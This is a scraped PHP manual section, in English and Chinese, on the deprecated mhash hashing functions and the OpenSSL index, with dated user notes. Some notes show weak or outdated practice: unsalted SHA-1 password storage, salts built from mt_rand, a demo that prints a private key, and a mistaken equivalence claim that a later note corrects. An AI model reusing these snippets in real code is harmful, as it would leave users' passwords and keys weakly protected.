    • mhash_get_hash_name — Gets the name of the specified hash
    • mhash_keygen_s2k — Generates a key
    • mhash — Computes hash

User Contributed Notes

virgili dot garcia at gmail dot com 12-Apr-2016 03:11
You can use:

$s = 'foo';
echo pack('H*', hash('md4', $s));
Typo 10-Jun-2011 04:44
Note:

This extension is obsoleted by Hash.

I thought I would post this here as it took me a few minutes to find out.


简介

These functions are intended to work with » mhash. Mhash can be used to create checksums, message digests, message authentication codes, and more.

This is an interface to the mhash library. Mhash supports a wide variety of hash algorithms such as MD5, SHA1, GOST, and many others. For a complete list of supported hashes, refer to the constants page. The general rule is that you can access the hash algorithm from PHP with MHASH_hashname. For example, to access TIGER you use the PHP constant MHASH_TIGER.

Note:

This extension is obsoleted by Hash.

Note:

As of PHP 7.0.0 the Mhash extension has been fully integrated into the Hash extension. Therefore, it is no longer possible to detect Mhash support with extension_loaded(); use function_exists() instead. Furthermore, Mhash is no longer reported by get_loaded_extensions() and related features.

User Contributed Notes

There are no user contributed notes for this page.


需求

To use it, download the mhash distribution from » its web site and follow the included installation instructions.

User Contributed Notes

There are no user contributed notes for this page.


安装

You need to compile PHP with the --with-mhash[=DIR] parameter to enable this extension. DIR is the mhash installation directory.

As of PHP 5.3.0, the mhash extension is emulated thru the Hash extension. This makes the mhash installation directory have no effect, and requires the hash extension enabled to make the mhash support available.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Here is a list of hashes which are currently supported by mhash. If a hash is not listed here, but it is listed in the mhash documentation as supported, you can safely assume that this documentation is outdated.

  • MHASH_ADLER32
  • MHASH_CRC32
  • MHASH_CRC32B
  • MHASH_GOST
  • MHASH_HAVAL128
  • MHASH_HAVAL160
  • MHASH_HAVAL192
  • MHASH_HAVAL224
  • MHASH_HAVAL256
  • MHASH_MD2
  • MHASH_MD4
  • MHASH_MD5
  • MHASH_RIPEMD128
  • MHASH_RIPEMD256
  • MHASH_RIPEMD320
  • MHASH_SHA1
  • MHASH_SHA192
  • MHASH_SHA224
  • MHASH_SHA256
  • MHASH_SHA384
  • MHASH_SHA512
  • MHASH_SNEFRU128
  • MHASH_SNEFRU256
  • MHASH_TIGER
  • MHASH_TIGER128
  • MHASH_TIGER160
  • MHASH_WHIRLPOOL

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Computes the MD5 digest and hmac and print it out as hex

<?php
$input = "what do ya want for nothing?";
$hash = mhash(MHASH_MD5, $input);
echo "The hash is " . bin2hex($hash) . "<br />\n";
$hash = mhash(MHASH_MD5, $input, "Jefe");
echo "The hmac is " . bin2hex($hash) . "<br />\n";
?>

以上示例会输出：

The hash is d03cb659cbf9192dcd066272249f8412
The hmac is 750c783e6ab0b503eaa86e310a5db738

User Contributed Notes

There are no user contributed notes for this page.


Mhash 函数

Table of Contents

  • mhash_count — Gets the highest available hash ID
  • mhash_get_block_size — Gets the block size of the specified hash
  • mhash_get_hash_name — Gets the name of the specified hash
  • mhash_keygen_s2k — Generates a key
  • mhash — Computes hash

User Contributed Notes

alexey dot kupershtokh at gmail dot com 27-Dec-2007 04:48
There's a class for generating TTH compatible with DC clients (DC++, StrongDC, ...) which uses mhash() with tiger algorithm:
http://kupershtokh.blogspot.com/2007/12/on-phpclub.html
ludicruz at yahoo dot com 07-Jul-2007 01:41
to robert at mediamonks dot com

This will work better, in your function you can just use the constant function to pull in the actual value of MHASH_SHA512 or whatever.

function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash(constant($strHashMethod), $argStrString));

return $strHashedString;
}

now:

echo getHashNotWorking('SHA512', 'some string');

works how you want it.
robert at mediamonks dot com 06-Dec-2006 12:44
function getHashNotWorking($argStrHashMethod, $argStrString)
{
$strHashMethod = 'MHASH_' . $argStrHashMethod;
$strHashedString = bin2hex(mhash($strHashMethod, $argStrString));

return $strHashedString;
}

echo getHashNotWorking('SHA512', 'some string');

This will return an error about the mhash function expecting a long type instead of a string.

=============================

for ($intI = 0; $intI <= mhash_count(); $intI++)
{
$arrHashTypes[mhash_get_hash_name($intI)] = $intI;
}

function getHashWorking($argStrType, $argStrString)
{
global $arrHashTypes;
$strHashedString = bin2hex(mhash($arrHashTypes[$argStrType], $argStrString));

return $strHashedString;
}

echo getHashWorking('SHA512', 'some string');

This will return the hash with the desired hash method
m1tk4 at hotmail dot com 21-Jun-2004 10:43
To enable mhash on RHEL/Fedora Core/other RPM-based Linuxes without rebuilding PHP, get the php-mhash and mhash RPMs at http://phprpms.sourceforge.net/mhash


Gets the highest available hash ID

  • ? Mhash 函数
  • mhash_get_block_size ?
  • PHP Manual
  • Mhash 函数
  • Gets the highest available hash ID

mhash_count

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_count — Gets the highest available hash ID

Warning

此函数自 PHP 8.1.0 起弃用。强烈建议不要应用此函数。

说明

mhash_count(): int

Gets the highest available hash ID.

参数

此函数没有参数。

返回值

Returns the highest available hash ID. Hashes are numbered from 0 to this hash ID.

更新日志

版本 | 说明
8.1.0 | This function has been deprecated. Use the hash_*() functions instead.

示例

Example #1 Traversing all hashes

<?php

$nr = mhash_count();

for ($i = 0; $i <= $nr; $i++) {
echo sprintf("The blocksize of %s is %d\n",
mhash_get_hash_name($i),
mhash_get_block_size($i));
}
?>

User Contributed Notes

holdoffhunger at gmail dot com 29-Jun-2012 12:36
The MHash function mhash_count() returns the highest, evaluated, constant value representing a hashing algorithm available within the current MHash install.  For example, 0 indicates CRC32, 1 indicates MD5, 2 indicates SHA1, etc., etc..  You can get the evaluated number for any of these algorithms by doing a print statement with any of the predefined, MHash constants, such as those available here : http://www.php.net/manual/en/mhash.constants.php .

The purpose of mhash_count() in MHash is similar to the purpose of hash_algos() in HASH Message Digest Framework.  Instead of providing an array of available hashing algorithms, it simply provides the highest, evaluated, constant expression for the Algorithm Constants.  The thinking, as indicated in the sample code, is that you will parse a list of mhash algorithms in a for loop using a condition of "$i <= mhash_count()".

However, there is a problem with that: there are several integers that are skipped in the listing of evaluated constant expressions.  While 2 indicates SHA1, 3 indicates HAVAL256, etc., there is nothing for the numbers 4 and 6.  They produce blank results when on that line of the for-loop and you're calling functions like mhash_get_block_size() and mhash_get_hash_name().  These were likely reserved for algorithms that were removed for one reason or another, either inefficiency or lack of security, and the number-to-predefined-constant setup wasn't changed to make it backward compatible with older code.

If you want to know what counts as a good constant and what doesn't, try running this code :

<?php

            // Author: holdoffhunger@gmail.com

        // Parse All Hashing Algorithms
        // ---------------------------------------------------

    for($i = 0; $i <= mhash_count(); $i++)
    {
            // Get Algorithm Information
            // ---------------------------------------------------

        $mhash_algorithm_block_size = mhash_get_block_size($i);
        $mhash_algorithm_name = mhash_get_hash_name($i);

            // Decide on Printing Algorithm Information
            // ---------------------------------------------------

        if(strlen($mhash_algorithm_name) < 1)
        {
                // There *IS* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .<br><br>");
        }
        else
        {
                // There *IS NO* Available Algorithm Data
                // ---------------------------------------------------

            print("# $i --- $mhash_algorithm_name to $mhash_algorithm_block_size .<br><br>");
        }
    }

?>

    Sample Results
    ............................

# 0 --- CRC32 to 4 .

# 1 --- MD5 to 16 .

# 2 --- SHA1 to 20 .

# 3 --- HAVAL256 to 32 .

# 4 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 5 --- RIPEMD160 to 20 .

# 6 --- NO ALGORITHM NAME / NO ALGORITHM BLOCKSIZE .

# 7 --- TIGER to 24 .

# 8 --- GOST to 32 .

...(and so on)...


Gets the block size of the specified hash

  • ? mhash_count
  • mhash_get_hash_name ?
  • PHP Manual
  • Mhash 函数
  • Gets the block size of the specified hash

mhash_get_block_size

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_get_block_size — Gets the block size of the specified hash

Warning

此函数自 PHP 8.1.0 起弃用。强烈建议不要应用此函数。

说明

mhash_get_block_size(int $algo): int|false

Gets the size of a block of the specified algo.

参数

algo

The hash ID. One of the MHASH_hashname constants.

返回值

Returns the size in bytes or false, if the algo does not exist.

更新日志

版本 | 说明
8.1.0 | This function has been deprecated. Use the hash_*() functions instead.

示例

Example #1 mhash_get_block_size() Example

<?php

echo mhash_get_block_size(MHASH_MD5); // 16

?>

User Contributed Notes

There are no user contributed notes for this page.


Gets the name of the specified hash

  • ? mhash_get_block_size
  • mhash_keygen_s2k ?
  • PHP Manual
  • Mhash 函数
  • Gets the name of the specified hash

mhash_get_hash_name

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash_get_hash_name — Gets the name of the specified hash

Warning

此函数自 PHP 8.1.0 起弃用。强烈建议不要应用此函数。

说明

mhash_get_hash_name(int $algo): string|false

Gets the name of the specified algo.

参数

algo

The hash ID. One of the MHASH_hashname constants.

返回值

Returns the name of the hash or false, if the hash does not exist.

更新日志

版本 | 说明
8.1.0 | This function has been deprecated. Use the hash_*() functions instead.

示例

Example #1 mhash_get_hash_name() Example

<?php

echo mhash_get_hash_name(MHASH_MD5); // MD5

?>

User Contributed Notes

There are no user contributed notes for this page.


Generates a key

  • ? mhash_get_hash_name
  • mhash ?
  • PHP Manual
  • Mhash 函数
  • Generates a key

mhash_keygen_s2k

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

mhash_keygen_s2k — Generates a key

Warning

此函数自 PHP 8.1.0 起弃用。强烈建议不要应用此函数。

说明

mhash_keygen_s2k(
int $algo,
string $password,
string $salt,
int $length
): string|false

Generates a key according to the given algo, using an user provided password.

This is the Salted S2K algorithm as specified in the OpenPGP document (» RFC 2440).

Keep in mind that user supplied passwords are not really suitable to be used as keys in cryptographic algorithms, since users normally choose keys they can write on keyboard. These passwords use only 6 to 7 bits per character (or less). It is highly recommended to use some kind of transformation (like this function) to the user supplied key.

参数

algo

The hash ID used to create the key. One of the MHASH_hashname constants.

password

An user supplied password.

salt

Must be different and random enough for every key you generate in order to create different keys. Because salt must be known when you check the keys, it is a good idea to append the key to it. Salt has a fixed length of 8 bytes and will be padded with zeros if you supply less bytes.

length

The key length, in bytes.

返回值

Returns the generated key as a string, or false on error.

更新日志

版本 | 说明
8.1.0 | This function has been deprecated. Use the hash_*() functions instead.

User Contributed Notes

alix dot axel+php at gmail dot com 09-Oct-2012 08:43
I looked into mhash and PHP source code and I've ported this function to pure PHP:

<?php

function keygen_s2k($hash, $password, $salt, $bytes)
{
    $result = false;

    if (extension_loaded('hash') === true)
    {
        $times = $bytes / ($block = strlen(hash($hash, null, true)));

        if ($bytes % $block != 0)
        {
            ++$times;
        }

        for ($i = 0; $i < $times; ++$i)
        {
            $result .= hash($hash, str_repeat("\0", $i) . $salt . $password, true);
        }
    }

    return $result;
}

?>
gmic 13-Mar-2007 11:42
Correction to ray ferguson post,

As said in the doc : "mhash_keygen_s2k generates a key that is bytes long, from a user given password and use the specified hash algorithm to create the key." if It wasn't clear to anyone.

The non mhash function is good as long you do not need a key longer than native MD5 hash (16 bytes)  it wont give you more.

So the non mhash function work OK but they ARE NOT the same thing.

Just try ray ferguson exemple asking for a 32 bytes key.

Returning a substring longer than the packed 16 bytes string won't add anything to the string. Salted S2K algorithm does add to the key.  So better use mhash lib or create something more alike the RFC 2440 specs.

I know the post is late on regard to Ray's post but if it can help someone not waisting time like me.
php_at_share-foo.com 16-Jul-2003 11:18
// given random 8 bits of salt and a clear text password

$clear_pw = "p4ssw0rd" ;
$rand8bites4salt = substr(pack("h*", md5(mt_rand())) , 0, 8);

// This

mhash_keygen_s2k(MHASH_MD5, $clear_pw, $rand8bites4salt, 4) ;

//is the same as this

function myhash_keyge_s2k($pass, $salt, $bytes ){
      return substr(pack("H*", md5($salt . $pass)), 0, $bytes);
}

myhash_keyge_s2k($clear_pw, $rand8bites4salt, 4);

// But the latter doesn't require mhash libs.

// -ray ferguson


Computes hash

  • ? mhash_keygen_s2k
  • OpenSSL ?
  • PHP Manual
  • Mhash 函数
  • Computes hash

mhash

(PHP 4, PHP 5, PHP 7, PHP 8)

mhash — Computes hash

Warning

此函数自 PHP 8.1.0 起弃用。强烈建议不要应用此函数。

说明

mhash(int $algo, string $data, ?string $key = null): string|false

mhash() applies a hash function specified by algo to the data.

参数

algo

The hash ID. One of the MHASH_hashname constants.

data

The user input, as a string.

key

If specified, the function will return the resulting HMAC instead. HMAC is keyed hashing for message authentication, or simply a message digest that depends on the specified key. Not all algorithms supported in mhash can be used in HMAC mode.

返回值

Returns the resulting hash (also called digest) or HMAC as a string, or false on error.

更新日志

版本 | 说明
8.1.0 | This function has been deprecated. Use the hash_*() functions instead.
8.0.0 | key is now nullable.

User Contributed Notes

jeremy s 18-Jun-2014 04:39
Here is how to compute a NTLM hash:

<?php
function ntlm_hash($txt)
{
        $txt = iconv('UTF-8', 'UTF-16LE', $txt);
        $md4 = bin2hex(mhash(MHASH_MD4, $txt));

        return strtoupper($md4);
}

echo ntlm_hash('ClearTextPasswd');
echo "\n";
holdoffhunger at gmail dot com 29-Jun-2012 11:52
The MHash function here lists one disclaimer at the top when providing a key to the mhash function : "Not all algorithms supported in mhash can be used in HMAC mode."  So, what algorithms blow up and what do fine when it comes to doing keyed, HMAC hashing?  The destructive ones are: Adler32, CRC32, CRC32B, and GOST.  These are the first four, predefined constants listed with the MHash Application Package: http://www.php.net/manual/en/mhash.constants.php .  Providing one of these algorithms with an HMAC key (of string-length greater than one) creates the following error message: "Warning: mhash() [function.mhash]: mhash initialization failed in [(folder-location)] on line 181".  If you really want to use these algorithms in creating your HMAC hashes, the function Hash_hmac() from the HASH-Message Digest Framework package is capable of doing that perfectly.

Again, that is if the string length is greater than one.  Why string length greater than one?  Well, if the key value is blank, it is ignored as a parameter altogether.  So, if you feed the mhash function an algorithm that is not compatible with HMAC hashing and an HMAC key that's blank (""), it will work the same as if it had received no HMAC key at all.  This is different from the way the Hash_hmac() function of the HASH-MDF works.  In the case of the Hash_hmac() function, feeding a blank HMAC key will use that blank key in generating the HMAC hash.  Even with functions that can do HMAC hashing, like MD5 or SHA1, if the MHash() is given a blank HMAC key, it will ignore the key and just return the results of standard, non-HMAC hashing.  It's probably not wise to use a blank HMAC key anyway, but it's good to know that the hashing algorithm changes altogether if the provided HMAC key is blank.

Some sample code to demonstrate :

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Data
        // ---------------------------------------------------

    $string_to_hash = "The hash_hmac() function better to use for these purposes.";
    $blank_hmac_key = "";

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

    $mhash_result_with_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash, $blank_hmac_key));
    $mhash_result_without_hmac_parameter = bin2hex(mhash(MHASH_CRC32, $string_to_hash));

        // MHash - Hashing With and Without HMAC Parameter
        // ---------------------------------------------------

    $hash_result_with_hmac_parameter = hash_hmac("crc32", $string_to_hash, $blank_hmac_key);
    $hash_result_without_hmac_parameter = hash("crc32", $string_to_hash);

        // Print Results
        // ---------------------------------------------------

    print("MHASH (CRC32 Algorithm) With Blank HMAC Key: $mhash_result_with_hmac_parameter .<br>");
    print("MHASH (CRC32 Algorithm) Without HMAC Processing: $mhash_result_without_hmac_parameter .<br><br>");

    print("HASH (CRC32 Algorithm) With Blank HMAC Key: $hash_result_with_hmac_parameter .<br>");
    print("HASH (CRC32 Algorithm) Without HMAC Processing: $hash_result_without_hmac_parameter .");

?>

    Results :
    ...................................

MHASH (CRC32 Algorithm) With Blank HMAC Key: f665c094 .
MHASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .

HASH (CRC32 Algorithm) With Blank HMAC Key: 3041f4f8 .
HASH (CRC32 Algorithm) Without HMAC Processing: f665c094 .
holdoffhunger at gmail dot com 27-Jun-2012 07:27
Both cryptography packages, the MHash and the HASH Message Digest Framework, have the same algorithms, and yet, they both sometimes to produce wildly different results from each other when applying the same algorithm to the same piece of data.  The SHA-x algorithms, as designed by the NSA, all seem to have concrete standards for producing their hash values, so they have similar results.  Even the two MD5 implementations produce identical results, and the same goes for Gost, RipeMD, CRC32, Whirlpool, Snefru256 (known as 'Snefru256' in MHash and simply 'Snefru' in HASH-MDF), and Tiger (the three-round versions in HASH-MDF to simply 'Tigerx' in MHash).

However, the algorithms CRC32B and Adler32 each produce different results when called from either MHash or HASH-MDF, possibly because they are hashing algorithms designed to be checksums rather than something that can produce a string as a unique identifier for a particular piece of information.  For that reason, if you ever publish the hash results with the data you're putting out publicly, it's probably wise to indicate whether it's the MHash or HASH-MDF implementation of the algorithm.  Otherwise, the hash value won't provide much use as a unique identifier for the particular piece of data or for the file.

Some example code to better explain what I mean :

<?php

            // Author: holdoffhunger@gmail.com

        // SHA-1 Hashing
        // ---------------------------------------------------

    $mhash_sha1_results = bin2hex(mhash(MHASH_SHA1, "secret"));
    $hash_mdf_sha1_results = hash("sha1", "secret", FALSE);

    print("MHash SHA-1: $mhash_sha1_results .<br>");
    print("HASH-MDF SHA-1: $hash_mdf_sha1_results .<br><br>");

        // Whirlpool Hashing
        // ---------------------------------------------------

    $mhash_whirlpool_results = bin2hex(mhash(MHASH_WHIRLPOOL, "secret"));
    $hash_mdf_whirlpool_results = hash("whirlpool", "secret", FALSE);

    print("MHash Whirlpool: $mhash_whirlpool_results .<br>");
    print("HASH-MDF Whirlpool: $hash_mdf_whirlpool_results .<br><br>");

        // CRC32B Hashing
        // ---------------------------------------------------

    $mhash_crc32b_results = bin2hex(mhash(MHASH_CRC32B, "secret"));
    $hash_mdf_crc32b_results = hash("crc32b", "secret", FALSE);

    print("MHash CRC32B: $mhash_crc32b_results .<br>");
    print("HASH-MDF CRC32B: $hash_mdf_crc32b_results .<br><br>");

        // Adler32 Hashing
        // ---------------------------------------------------

    $mhash_adler32_results = bin2hex(mhash(MHASH_ADLER32, "secret"));
    $hash_mdf_adler32_results = hash("adler32", "secret", FALSE);

    print("MHash Adler32: $mhash_adler32_results .<br>");
    print("HASH-MDF Adler32: $hash_mdf_adler32_results .<br><br>");

?>

    Expected Results :
    ........................

MHash SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .
HASH-MDF SHA-1: e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 .

MHash Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

HASH-MDF Whirlpool: e061b87a674ae3880e159ab55ed35d
6c5e8a6aefac6ab08304a50588018d
377b28639bb15fdeedf006d57e45f7
b4298e6dfefceaf7c92c826a708fe6d
1156eb3 .

MHash CRC32B: e5e8a25c .
HASH-MDF CRC32B: 5ca2e8e5 .

MHash Adler32: 8702d108 .
HASH-MDF Adler32: 08d10287 .
hm2k at php dot net 20-Jan-2009 07:16
mhash support now appears in the Pear PHP_Compat package, for support without building PHP with mhash.
numien(at)deathwyrm(dot)com 31-Jan-2007 05:21
---Quote---
pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)
---/Quote---

That's an awfully inefficient way of doing things. You can just put ", true" after md5 or sha1 to get binary output instead of having it convert it to hex then back.

Easier way:
md5($str, true) == mhash(MHASH_MD5, $str)
sha1($str, true) == mhash(MHASH_SHA1, $str)
marcel446 at yahoo dot com 06-Jun-2005 04:15
Just in case you did not observe, the function of Lance is independent of hash fuction used to get HMAC , so if one use sha1() function from php instead md5() will get sha1 HMAC.
Just try .
Thanks again Lance
robbie [at] averill [dot] co [dot] nz 18-Mar-2005 05:17
This confused me a bit when I first read the documetation for mhash. The functions that accept a hash accept them as an INTEGER not a STRING. In this case, MHASH_MD5 = 1. It is a constant, not a string.

Just thought I'd point that out, so if anyone is confused they can read that. That's the use of mhash_get_hash_name(). You input the constant (which is an integer) and it returns the hash name.
fernan at ispwest dot com 02-Nov-2004 12:03
Thanks a lot to Lance for showing how to create mhash without installing the perl extension for mhash.

I have been asking my webhosting administrator to recompile Perl with mhash extension, but do not want to do it. As a result, our company can't get credit card authorization because they require fingerprint which uses the function mhash. Now, it's working fine.

Thanks a lot, Lance.....

Fernan
jerry d0t wilborn at fast d0t net 02-Jul-2004 09:36
in responce to lance's post:

the function comes back with a hex representation of the hmac, if you wish to convert to what mhash returns natively (binary) use:  pack("H*", hmac(variables...));
lance_rushing at hot* spamfree *mail dot com 09-Jul-2003 05:02
Don't forget php has two built in hashing algorithms:

md5(), and sha1()

So if you are using: mhash(MHASH_MD5, $str) or mhash(MHASH_SHA1, $str) you could use md5($str) or sha1($str).

** But remember that md5() and sha1() produce HEX output while mhash() produces a BIN output.  So:

md5($str) == bin2hex(mhash(MHASH_MD5, $str))
sha1($str) == bin2hex(mhash(MHASH_SHA1, $str))

AND

pack("H*", md5($str)) == mhash(MHASH_MD5, $str)
pack("H*", sha1($str)) == mhash(MHASH_SHA1, $str)

(Just remember to pack() or bin2hex() your output to get the output you need)

-Lance
lance_rushing at hot* spamfree *mail dot com 27-Nov-2002 08:36
Want to Create a md5 HMAC, but don't have hmash installed?

Use this:

function hmac ($key, $data)
{
    // RFC 2104 HMAC implementation for php.
    // Creates an md5 HMAC.
    // Eliminates the need to install mhash to compute a HMAC
    // Hacked by Lance Rushing

    $b = 64; // byte length for md5
    if (strlen($key) > $b) {
        $key = pack("H*",md5($key));
    }
    $key  = str_pad($key, $b, chr(0x00));
    $ipad = str_pad('', $b, chr(0x36));
    $opad = str_pad('', $b, chr(0x5c));
    $k_ipad = $key ^ $ipad ;
    $k_opad = $key ^ $opad;

    return md5($k_opad  . pack("H*",md5($k_ipad . $data)));
}

-----
To test:
Run this on a server _with_ mhash installed:

$key = 'Jefe';
$data = "what do ya want for nothing?";
echo hmac($key, $data);
echo "&lt;br&gt;\n";
echo bin2hex (mhash(MHASH_MD5, $data, $key));

should produce:

750c783e6ab0b503eaa86e310a5db738
750c783e6ab0b503eaa86e310a5db738

Happy hashing.
luc at 2113 dot ch 28-Dec-2001 05:42
Netscape messaging / directory server 4+ uses SHA-1
to store password in the ldap database (slapd).
The password is first SHA-1 hashed then base64 encoded:

$pwd = "secret";
$hash = "{SHA}".base64_encode( mHash(MHASH_SHA1, $pwd));
echo "Hash: ". $hash ;
paulj at 5emedia dot net 06-Dec-2001 10:02
Many digest algorithms (especially MD5) are less secure if you are hashing data that is smaller than the algorithm's output.  I recommend either hashing a secret key/salt with the original data to increase it's security.


OpenSSL

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
    • 目的检查 flag
    • 非对称加密的填充标志
    • 密钥类型
    • PKCS7 flag/常量
    • CMS Flag/常量
    • 签名算法
    • Ciphers
    • 版本常量
    • Server Name Indication constants
    • 其它常量
  • 密钥/证书参数
  • 证书验证
  • OpenSSL 函数
    • openssl_cipher_iv_length — 获取密码iv长度
    • openssl_cipher_key_length — Gets the cipher key length
    • openssl_cms_decrypt — Decrypt a CMS message
    • openssl_cms_encrypt — Encrypt a CMS message
    • openssl_cms_read — Export the CMS file to an array of PEM certificates
    • openssl_cms_sign — Sign a file
    • openssl_cms_verify — Verify a CMS signature
    • openssl_csr_export_to_file — 将 CSR 导出到文件
    • openssl_csr_export — 将 CSR 作为字符串导出
    • openssl_csr_get_public_key — 返回 CSR 的公钥
    • openssl_csr_get_subject — 返回 CSR 的主题
    • openssl_csr_new — 生成一个 CSR
    • openssl_csr_sign — 用另一个证书签署 CSR（或者本身）并且生成一个证书
    • openssl_decrypt — 解密数据
    • openssl_dh_compute_key — 计算远程 DH 公钥和本地 DH 密钥的共享密钥
    • openssl_digest — 计算摘要
    • openssl_encrypt — 加密数据
    • openssl_error_string — 返回 openSSL 错误消息
    • openssl_free_key — 释放密钥资源
    • openssl_get_cert_locations — 检索可用的证书位置
    • openssl_get_cipher_methods — 获取可用的加密算法
    • openssl_get_curve_names — 获得ECC的可用曲线名称列表
    • openssl_get_md_methods — 获取可用的摘要算法
    • openssl_get_privatekey — 别名 openssl_pkey_get_private
    • openssl_get_publickey — 别名 openssl_pkey_get_public
    • openssl_open — 打开密封的数据
    • openssl_pbkdf2 — 生成一个 PKCS5 v2 PBKDF2 字符串
    • openssl_pkcs12_export_to_file — 输出一个 PKCS#12 兼容的证书存储文件
    • openssl_pkcs12_export — 将 PKCS#12 兼容证书存储文件导出到变量
    • openssl_pkcs12_read — 将 PKCS#12 证书存储区解析到数组中
    • openssl_pkcs7_decrypt — 解密一个 S/MIME 加密的消息
    • openssl_pkcs7_encrypt — 加密一个 S/MIME 消息
    • openssl_pkcs7_read — 将 PKCS7 文件导出为 PEM 格式证书的数组
    • openssl_pkcs7_sign — 对一个 S/MIME 消息进行签名
    • openssl_pkcs7_verify — 校验一个已签名的 S/MIME 消息的签名
    • openssl_pkey_derive — Computes shared secret for public value of remote and local DH or ECDH key
    • openssl_pkey_export_to_file — 将密钥导出到文件中
    • openssl_pkey_export — 将一个密钥的可输出表示转换为字符串
    • openssl_pkey_free — 释放一个私钥
    • openssl_pkey_get_details — 返回包含密钥详情的数组
    • openssl_pkey_get_private — 获取私钥
    • openssl_pkey_get_public — 从证书中解析公钥，以供使用
    • openssl_pkey_new — 生成一个新的私钥
    • openssl_private_decrypt — 使用私钥解密数据
    • openssl_private_encrypt — 使用私钥加密数据
    • openssl_public_decrypt — 使用公钥解密数据
    • openssl_public_encrypt — 使用公钥加密数据
    • openssl_random_pseudo_bytes — 生成一个伪随机字节串
    • openssl_seal — 密封 (加密) 数据
    • openssl_sign — Generate signature
    • openssl_spki_export_challenge — 导出与签名公钥和 challenge 相关的 challenge
    • openssl_spki_export — 通过签名公钥和 challenge 导出一个可用的 PEM 格式的公钥
    • openssl_spki_new — 生成新的签名公钥和 challenge
    • openssl_spki_verify — 验证签名公钥和 challenge
    • openssl_verify — 验证签名
    • openssl_x509_check_private_key — 检查私钥是否对应于证书
    • openssl_x509_checkpurpose — 验证是否可以为特定目的使用证书
    • openssl_x509_export_to_file — 导出证书至文件
    • openssl_x509_export — 以字符串格式导出证书
    • openssl_x509_fingerprint — 计算一个给定的 x.509 证书的指纹或摘要
    • openssl_x509_free — 释放证书资源
    • openssl_x509_parse — 解析一个 X509 证书并作为一个数组返回信息
    • openssl_x509_read — 解析 x.509 证书并返回对象
    • openssl_x509_verify — Verifies digital signature of x509 certificate against a public key
  • OpenSSLCertificate — OpenSSLCertificate 类
  • OpenSSLCertificateSigningRequest — OpenSSLCertificateSigningRequest 类
  • OpenSSLAsymmetricKey — OpenSSLAsymmetricKey 类

User Contributed Notes

james at NOSPAM dot gmail dot com 13-Jul-2016 10:01
In regards to the comment above:

"After generating a key pair with OpenSSL, the public key can be stored in plain text format. I then encrypted the private key itself using regular mcrypt with the human-memorizable key of my choice and converted it to ACSII using base64_encode. Then to get the private key back, I just decrypted it with mcrypt. This way I could store the encrypted private key on the server without worrying about having things stored unencrypted. "

To anyone reading this that might not be all that familiar with public key cryptography; I haven't the slightest idea what this person is talking about, but I can tell you its an absolutely horrible idea.  He might have ended up with something that "looked like a private key" insofar as it was a base64 encoded string, but he did not have a private key.  The parameters that make up a public/private key pair are EXTREMELY specific and in the case of RSA rely on very large co-primes plus an even larger moduli.  Its not just a base64 encoded string; and just for the record... base64 encoding is not encryption.

One of two things happened; the more likely is the whatever program he needed the certificate for realized there was something wrong with the private key, and ignored it, reverting to either a default key, or null encryption or something.  The worse outcome would be if it interpreted whatever was there as legitimate; and encrypted data as if it were a a proper certificate; encrypting this way would likely provide close to zero security and I'm not even sure you could decrypt the data once encrypted.  Its not worth giving much thought.

Just please; don't do this.

You can read about pki certificate structures and attribute frameworks by pasting "T-REC-X.509-201210-I" into your favorite interwebs search widget and following the result to the International Telecommunications Union webpage, or you can refer to the numerous RFCs; 6818, 5820 being good places to start. The Internet Engineering Task Force archives all RFCs, but there are other sources as well.  "IETF RFC" should be enough to get you there.

...sorry, the "spam buster" was giving me all kinds of issues.
bdh dot hall at gmail dot com 29-May-2009 03:18
I was having a heck of a time finding help on making asynchronous encryption/decryption using private key/public key systems working, and I had to have it for creating a credit card module that uses recurring billing.

You'd be a fool to use normal, 'synchronous' or two-way encryption for this, so the whole mcrypt library won't help.

But, it turns out OpenSSL is extremely easy to use...yet it is so sparsely documented that it seems it would be incredibly hard.

So I share my day of hacking with you - I hope you find it helpful!

<?php

if (isset($_SERVER['HTTPS']) )
{
    echo "SECURE: This page is being accessed through a secure connection.<br><br>";
}
else
{
    echo "UNSECURE: This page is being access through an unsecure connection.<br><br>";
}

// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privatekey);

// Get public key
$publickey=openssl_pkey_get_details($res);
$publickey=$publickey["key"];

echo "Private Key:<BR>$privatekey<br><br>Public Key:<BR>$publickey<BR><BR>";

$cleartext = '1234 5678 9012 3456';

echo "Clear text:<br>$cleartext<BR><BR>";

openssl_public_encrypt($cleartext, $crypttext, $publickey);

echo "Crypt text:<br>$crypttext<BR><BR>";

openssl_private_decrypt($crypttext, $decrypted, $privatekey);

echo "Decrypted text:<BR>$decrypted<br><br>";
?>

Many thanks to other contributors in the docs for making this less painful.

Note that you will want to use these sorts of functions to generate a key ONCE - save your privatekey offline for decryption, and put your public key in your scripts/configuration file. If your data is compromised you don't care about the encrypted stuff or the public key, it's only the private key and cleartext that really matter.

Good luck!
koen dot thomeer at pubmed dot be 31-Aug-2008 10:27
For checking the status of a client certificate using OCSP, you can use this script:

<?php
// User variables:
$dir = '/path/to/temp/'; // Directory where apache has access to (chmod 777).
$RootCA = '/path/to/Root.cer'; // Points to the Root CA in PEM format.
